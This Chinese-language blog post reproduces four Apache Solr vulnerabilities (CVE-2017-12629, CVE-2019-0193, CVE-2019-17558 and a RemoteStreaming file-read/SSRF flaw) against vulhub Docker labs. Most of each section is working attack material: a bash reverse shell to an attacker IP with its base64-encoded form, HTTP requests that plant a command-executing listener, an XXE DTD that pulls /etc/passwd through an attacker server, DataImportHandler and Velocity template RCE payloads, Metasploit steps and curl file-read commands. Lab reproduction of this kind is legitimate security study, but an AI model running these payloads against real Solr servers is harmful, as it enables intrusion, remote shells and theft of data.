【漏洞复现】Apache系列(二)之Solr漏洞复现

文章目录

  • Apache Solr XXE & RCE(CVE-2017-12629)
    • 一、漏洞描述
    • 二、影响版本
    • 三、漏洞复现
      • A.RCE 远程命令执行
        • 0.环境说明
        • 1.使用Docker起CVE-2017-12629环境
        • 2.使用nc监听本机端口
        • 3.创建一个listener
        • 4.触发listener
        • 5.成功反弹回shell
      • B.XXE 实体注入
        • 1.在自己的远程服务器上用python起一个http服务
        • 2.在payload.dtd内写入需要执行的操作
        • 3.发送数据包
        • 4.成功读取到/etc/passwd
  • Apache Solr RCE(CVE-2019-0193)
    • 一、漏洞描述
    • 二、影响版本
    • 三、漏洞复现
        • 0.环境说明
        • 1.使用Docker起CVE-2019-0193环境
        • 2. 创建一个solr核心test
        • 3.选择test核心
        • 4.使用nc监听本机端口
        • 5. 点击Execute with this Confuguration执行命令
        • 6.成功反弹shell
  • Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
    • 一、漏洞描述
    • 二、影响版本
    • 三、漏洞复现
        • 0.环境说明
        • 1.使用Docker起CVE-2019-17558环境
        • 2.获取所有的核心
        • 3.修改params.resource.loader.enabled
        • 4. 注入Velocity模板即可执行任意命令
        • 5.附MSF利用
  • Apache Solr RemoteStreaming 文件读取与SSRF漏洞
    • 一、漏洞描述
    • 二、影响版本
    • 三、漏洞复现
        • 0.环境说明
        • 1.用docker启动solr 8.2.0版本的靶场
        • 2.获取所有的核心
        • 3. 开启RemoteStreaming
        • 4.通过stream.url读取任意文件


Apache Solr XXE & RCE(CVE-2017-12629)

一、漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

二、影响版本

Apache Solr < 7.1
Apache Lucene < 7.1

三、漏洞复现

A.RCE 远程命令执行

0.环境说明

攻击机:192.168.102.181
目标机:192.168.37.128

1.使用Docker起CVE-2017-12629环境

访问8983端口查看环境是否正常实例化

cd vulhub/solr/CVE-2017-12629-RCE
docker-compose up -d

【漏洞复现】Apache系列(二)之Solr漏洞复现_第1张图片

2.使用nc监听本机端口

nc -lvvp 8899

image.png

3.创建一个listener

创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:(注意:我这里执行的是反弹shell的命令,需要执行其他命令可以自行修改)
将Bash反弹Shell的Code进行Base64加密

bash -i >& /dev/tcp/192.168.102.181/8899 0>&1

编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}

修改Host的IP为目标IP

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "编码后的命令"]}}

【漏洞复现】Apache系列(二)之Solr漏洞复现_第2张图片

4.触发listener

然后进行update操作,触发刚才添加的listener: (修改Host的IP为目标IP)

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

【漏洞复现】Apache系列(二)之Solr漏洞复现_第3张图片

5.成功反弹回shell

【漏洞复现】Apache系列(二)之Solr漏洞复现_第4张图片

B.XXE 实体注入

1.在自己的远程服务器上用python起一个http服务

python -m http.server 端口

2.在payload.dtd内写入需要执行的操作

写入如下内容上传payload.dtd,名字可以自取:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "">

【漏洞复现】Apache系列(二)之Solr漏洞复现_第5张图片

3.发送数据包

将以下数据包中www.baidu.com改为你的vps地址

GET /solr/demo/select?&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+root%5b<!ENTITY+%25+ext+SYSTEM+"http%3a%2f%2fwww.baidu.com%2fpayload.dtd">%25ext%3b%25ent%3b%5d><r>%26data%3b<%2fr>&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.37.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


4.成功读取到/etc/passwd

【漏洞复现】Apache系列(二)之Solr漏洞复现_第6张图片

Apache Solr RCE(CVE-2019-0193)

一、漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

二、影响版本

Apache Solr < 8.2.0

三、漏洞复现

0.环境说明

攻击机:192.168.102.181
目标机:192.168.37.128

1.使用Docker起CVE-2019-0193环境

访问8983端口即可查看到Apache solr的管理页面,无需登录。

cd vulhub/solr/CVE-2019-0193
docker-compose up -d

【漏洞复现】Apache系列(二)之Solr漏洞复现_第7张图片

2. 创建一个solr核心test

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

image.png

可以访问http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json 查看核心名字
【漏洞复现】Apache系列(二)之Solr漏洞复现_第8张图片

3.选择test核心

【漏洞复现】Apache系列(二)之Solr漏洞复现_第9张图片
【漏洞复现】Apache系列(二)之Solr漏洞复现_第10张图片

填入反弹shell的poc(根据需要可以自行修改):

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("需要执行的命令");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

4.使用nc监听本机端口

nc -lvvp 8899

image.png

5. 点击Execute with this Confuguration执行命令

【漏洞复现】Apache系列(二)之Solr漏洞复现_第11张图片

6.成功反弹shell

【漏洞复现】Apache系列(二)之Solr漏洞复现_第12张图片

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

一、漏洞描述

Apache Solr 5.0.0 到 Apache Solr 8.3.1 容易受到通过 VelocityResponseWriter 的远程代码执行的攻击。可以通过 configset 目录中的 Velocity 模板velocity/或作为参数提供 Velocity 模板。用户定义的配置集可能包含可渲染的、潜在的恶意模板。默认情况下禁用参数提供的模板,但可以params.resource.loader.enabled通过定义一个设置为 的响应编写器来启用true。定义响应编写器需要配置 API 访问权限。trustedSolr 8.4 完全移除了 params 资源加载器,并且仅在 configset 为(已由经过身份验证的用户上传)时启用 configset 提供的模板渲染。

二、影响版本

5.0.0 到 8.3.1版本

三、漏洞复现

0.环境说明

攻击机:192.168.102.181
目标机:192.168.37.128

1.使用Docker起CVE-2019-17558环境

访问8983端口即可查看到Apache solr的管理页面,无需登录。
【漏洞复现】Apache系列(二)之Solr漏洞复现_第13张图片

2.获取所有的核心

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

由下图可知唯一核心是demo
【漏洞复现】Apache系列(二)之Solr漏洞复现_第14张图片

3.修改params.resource.loader.enabled

默认情况下为params.resource.loader.enabled为false
【漏洞复现】Apache系列(二)之Solr漏洞复现_第15张图片
用burp构造请求包(注意: 其中URL路径包含刚才获取的core名称 )

POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

【漏洞复现】Apache系列(二)之Solr漏洞复现_第16张图片
成功修改params.resource.loader.enabled为true
【漏洞复现】Apache系列(二)之Solr漏洞复现_第17张图片

4. 注入Velocity模板即可执行任意命令

(注意: 其中URL路径包含刚才获取的core名称)

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

image.png

5.附MSF利用

攻击机:192.168.37.129
目标机:192.168.37.128

执行以下命令,视情况看是否需要设置端口,默认为8983

msfconsole
search solr
use 1
set LHOST 本地IP
set RHOSTS 目标IP
run

【漏洞复现】Apache系列(二)之Solr漏洞复现_第18张图片
【漏洞复现】Apache系列(二)之Solr漏洞复现_第19张图片

Apache Solr RemoteStreaming 文件读取与SSRF漏洞

一、漏洞描述

Apache Solr 是一个开源搜索服务器。当 Apache Solr 不启用身份验证时,攻击者可以直接制造请求以启用特定配置,最终导致 SSRF 或任意文件读取。

二、影响版本

Apache Solr <= 8.8.1均受影响

三、漏洞复现

0.环境说明

攻击机:192.168.37.129
目标机:192.168.37.128

1.用docker启动solr 8.2.0版本的靶场

【漏洞复现】Apache系列(二)之Solr漏洞复现_第20张图片

2.获取所有的核心

我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

由下图可知核心是demo
【漏洞复现】Apache系列(二)之Solr漏洞复现_第21张图片

3. 开启RemoteStreaming

发送如下数据包,修改数据库demo的配置(注意: 其中URL路径包含刚才获取的core名称 )

curl -i -s -k -X $'POST'  -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' $'http://your-ip:8983/solr/demo/config'

【漏洞复现】Apache系列(二)之Solr漏洞复现_第22张图片

4.通过stream.url读取任意文件

(注意: 其中URL路径包含刚才获取的core名称 )

curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

【漏洞复现】Apache系列(二)之Solr漏洞复现_第23张图片

你可能感兴趣的:(漏洞复现,solr,apache,安全)